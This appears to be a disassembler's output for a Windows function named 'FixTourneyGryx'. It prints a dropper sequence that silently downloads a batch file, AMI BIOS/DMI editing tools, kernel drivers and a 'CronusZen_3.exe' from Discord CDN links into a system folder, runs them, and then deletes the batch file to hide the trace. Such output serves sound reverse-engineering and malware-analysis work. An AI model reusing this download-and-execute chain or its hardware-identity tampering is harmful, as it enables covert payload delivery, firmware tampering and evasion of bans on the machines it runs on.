Function at 0x140001000
Capabilities:
Delete file
Execute command

Disassembly:
sub rsp, 0x28
lea rcx, str.title_FixTourneyGryx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.color_1F
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001100
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1157357281911001118_1162682306994126869_trnyfix.bat___output_C:_Windows_System32_WindowsPowerShell_trnyfix.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1157357281911001118_1157357370301763744_AMIDEWIN.EXE___output_C:_Windows_System32_WindowsPowerShell_AMIDEWIN.EXE__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1157357281911001118_1157357370742157322_AMIDEWINx64.EXE___output_C:_Windows_System32_WindowsPowerShell_AMIDEWINx64.EXE__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1157357281911001118_1157357371111243797_amifldrv64.sys___output_C:_Windows_System32_WindowsPowerShell_amifldrv64.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1157357281911001118_1157357371417448518_DMI16.EXE___output_C:_Windows_System32_WindowsPowerShell_DMI16.EXE__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1157357281911001118_1157357371778150523_DMIEDIT.EXE___output_C:_Windows_System32_WindowsPowerShell_DMIEDIT.EXE__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1157357281911001118_1157357372113690646_UCOREDLL.DLL___output_C:_Windows_System32_WindowsPowerShell_UCOREDLL.DLL__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1157357281911001118_1157357372457635982_UCORESYS.SYS___output_C:_Windows_System32_WindowsPowerShell_UCORESYS.SYS__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1157357281911001118_1157357372809949355_UCOREVXD.VXD___output_C:_Windows_System32_WindowsPowerShell_UCOREVXD.VXD__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1157357281911001118_1157357373120323615_UCOREW64.SYS___output_C:_Windows_System32_WindowsPowerShell_UCOREW64.SYS__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1157357281911001118_1162684546257535006_CronusZen_3.exe___output_C:_Windows_System32_WindowsPowerShell_CronusZen_3.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_C:_Windows_System32_WindowsPowerShell_trnyfix.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_C:_Windows_System32_WindowsPowerShell_CronusZen_3.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:_Windows_System32_WindowsPowerShell_trnyfix.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
add rsp, 0x28
ret